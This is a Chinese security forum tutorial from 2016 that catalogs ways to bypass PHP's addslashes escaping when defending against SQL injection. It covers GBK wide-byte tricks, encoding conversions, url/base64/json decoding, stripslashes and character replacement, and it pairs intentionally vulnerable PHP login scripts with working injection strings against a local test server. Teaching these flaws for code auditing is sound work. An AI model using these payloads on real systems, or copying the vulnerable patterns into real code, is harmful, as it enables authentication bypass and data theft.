TA的每日心情 怒 2016-6-1 17:15
签到天数: 58 天
连续签到: 1 天
[LV.5]常住居民I
i春秋-白帽高手
收听 39 粉丝 68
注册时间 2016-2-1
发表于 2016-8-29 13:38:37 28 98340
作者:无敌情痴
时间:2016年8月29日 10:16
社区:i春秋
前言
最近坏蛋哥说我偷懒和传播负能量,为了证明我是个勤劳的孩子,一大早就来写文章了,在我看过的web系统中,很多系统对sql注入的防御都是对数字型的数据做intval和floatval,对于字符型使用addslashes+引号保护,今天这篇文章总结一下我在审代码中实际遇到的绕过姿势以及在一些前辈的漏洞分析中看到的绕过姿势,如果对sql注入还不够熟的朋友,可以看看I春秋zusheng的几篇关于sql注入的文章,写的很详细
目录
一:addslashes防御sql注入原理
二:字符编码问题导致绕过
2.1、设置数据库字符为gbk导致宽字节注入 2.2、使用icon, mb_convert_encoding转换字符编码函数导致宽字节注入
三:编码解码导致的绕过
3.1、url解码导致绕过addslashes 3.2、base64解码导致绕过addslashes 3.3、json编码导致绕过addslashes
四:一些特殊情况导致的绕过
4.1、没有使用引号保护字符串,直接无视addslashes 4.2、使用了stripslashes 4.3、字符替换导致的绕过addslashes
正文
一:addslashes防御sql注入原理
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
<html>
<head>
<title>I春秋</title>
</head>
<body>
<form action="http://127.0.0.1/ichunqiu/login1.php" method="post">
账号<input type="text" name="username"></input><br/>
密码<input type="password" name="password"></input><br/>
<input type="submit" value="登录"/>
</form>
</body>
</html>
复制代码
上面是一段登录代码以及一个登录表单,正常情况下要输入正确的账号密码才可以登录
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
不过由于username是可控的,并且没有经过任何过滤,所以可以利用这个来绕过密码检测
密码随便输入,账号输入admin'#
懂sql的朋友应该知道是什么情况了
这样执行的语句就是select count(*) as num from admin where name=admin 了,这样就绕过了密码检测了
下面使用addslashes来防御(addslashes函数会把' " %00 \ 这些字符前面加上一个\来转义他们)
把上面的代码改改
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
然后我们再试试
发现已经登录不了了
我们查看一下数据库执行的语句
11 Init DB test
11 Query select count(*) as num from admin where name='admin\'#' and pass='d58e3582afa99040e27b92b13c8f2280'
11 Quit
'admin\'
可以看到'被转义\'这样就逃不出引号了
二:字符编码问题导致绕过
2.1、设置数据库字符为gbk导致宽字节注入
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
http://127.0.0.1/ichunqiu/login1 ... 3&password=test
username=admin%df%27or%201=1%23&password=test
这里账号输入admin%df%27or%201=1%23
密码输入test
这样却登录成功了,这是因为宽字节问题,这是因为 %df和\(%5c)合成了一个運 导致后面'没有被转义,闭合成功,逃出引号,成功注入
这里借P牛的一段话( 这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。)
2.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
在使用iconv和mb_convert_encoding进行字符编码转换的时候同样会造成宽字节注入
我们先试试utf-8转gbk,转码函数不管是iconv或者mb_convert_encoding都会造成宽字节注入 <?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$username=iconv('utf-8','gbk',$username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
http://127.0.0.1/ichunqiu/login1.php?username=admin%df%27or%201=1%23&password=test
访问测试,登录成功,可以注入
同样是因为因为 %df和\(%5c)合成了一个 運 导致后面'没有被转义,闭合成功,逃出引号,成功注入
再试试gbk转utf-8
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$username=iconv('gbk','utf-8',$username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
http://127.0.0.1/ichunqiu/login1.php?username=admin錦%27or%201=1%23&password=test
访问测试,发现成功了
借一下P牛对这个的解释
( 錦”这个字,它的 utf-8 编码是 0xe98ca6 ,它的 gbk 编码是 0xe55c 。 当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的’被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。)
三:编码解码导致的绕过
下面几种情况差不多,都是因为字符串在带入查询前,被做了一些编码解码操作没有再做一次过滤,导致绕过了addslashes的过滤(其实可以绕过各种防注入,不仅仅是addslashes),这种案例我在审代码的过程中还是遇过一些的
3.1、url解码导致绕过addslashes
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
[color=#000]$username=addslashes($username);[/size][/color]
$username=urldecode($username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
http://127.0.0.1/ichunqiu/login1.php?username=%2561%2564%256d%2569%256e%2527%2520%2523&password=test
访问后发现登录成功了
%2561%2564%256d%2569%256e%2527%2520%2523
是做了两次编码的 admin' #,之所以要做两次编码是因为web服务器会自动对从$_GET过来的数据解码一次,要编码两次
$username=addslashes($username);
$username=urldecode($username);
虽然在做了addslashes来转义引号,但是下面一行代码用了urldecode来对$username做解码,所以可以利用url编码来绕过过滤
看看数据库执行记录,确实被解码了
3.2、base64解码导致绕过addslashes
和url解码绕过差不多是一回事
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
[color=#000][size=2]$username=addslashes($username);[/size][/color]
$username=base64_decode($username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
$username=addslashes($username);
$username=base64_decode($username);
也是因为解码后没有在过滤,导致base64编码绕过
http://127.0.0.1/ichunqiu/login1.php?username=YWRtaW4nICM=&password=test
登录成功
看看数据库执行记录,确实被解码了
3.3、json编码导致绕过addslashes
json编码绕过addslashes是因为json编码会把\转换为\\
admin' # 被addslashes会变成admin\' # 引号被过滤了转移不了
但是经过了json_encode后变成admin\\' # 引号成功逃了出来,可以注入了
<?php
$str=$_GET['str'];
$str=addslashes($str);
echo json_encode($str);
?>
复制代码
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
[color=#000][size=2]$username=addslashes($username);[/size][/color]
$username=json_encode($username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
http://127.0.0.1/ichunqiu/login1.php?username=admin%27%20or%201=1%20%23&password=test
访问后发现登录成功
查看数据库执行记录可以看到\被转换为\\
四:一些特殊情况导致的绕过
4.1、没有使用引号保护字符串,直接无视addslashes
这种情况的案例不少,虽然做了addslashes但是没有引号保护导致直接注入
4.2、使用了stripslashes
这种案例我只在乌云看过一次,程序明明在开头对所有变量做了$_GET,$_POST,$_COOKIE 偏偏出来了一个牛逼哄哄的程序员,在数据带入查询之前做了stripslashes,去掉了转义,直接注入
4.3、字符替换导致的绕过addslashes
这种情况也看过一些案例,程序在带入程序之前把字符串的某些字符做了替换,而替换的字符中出现了一些\ ' 导致了注入的绕过,比如下面这样
<?php
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
{
die();
}
$link=mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test",$link);
$username=$_REQUEST['username'];
$username=addslashes($username);
$username=str_replace(array("\\","/"," "),array("","",""),$username);
$password=md5($_REQUEST['password']);
$sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
$query=mysql_query($sql);
$res=mysql_fetch_array($query);
$count=$res['num'];
if($count==1)
{
echo "login success";
}
else
{
echo "login failed";
}
?>
复制代码
http://127.0.0.1/ichunqiu/login1.php?username=admin%27%20%23&password=test
访问,发现登录成功,这里之所以可以绕过addslashes是因为前面做了 $username=str_replace(array("\\","/"," "),array("","",""),$username); 把addslashes后的\' 变成了',闭合成功,逃出引号注入
结语
上面的内容基本是我见过的遇过的所有绕过addslashes的方式了,当然肯定不止这些,要看具体的代码,各种各样的操作可能会导致各种姿势的绕过过滤,本人是个菜逼学艺不精,文章难免有不足之处,希望大家多多指正。最后也谢谢泉哥的点评,泉哥辛苦了。(PS:猜猜我这文章格式是抄袭I春秋的那个大牛的)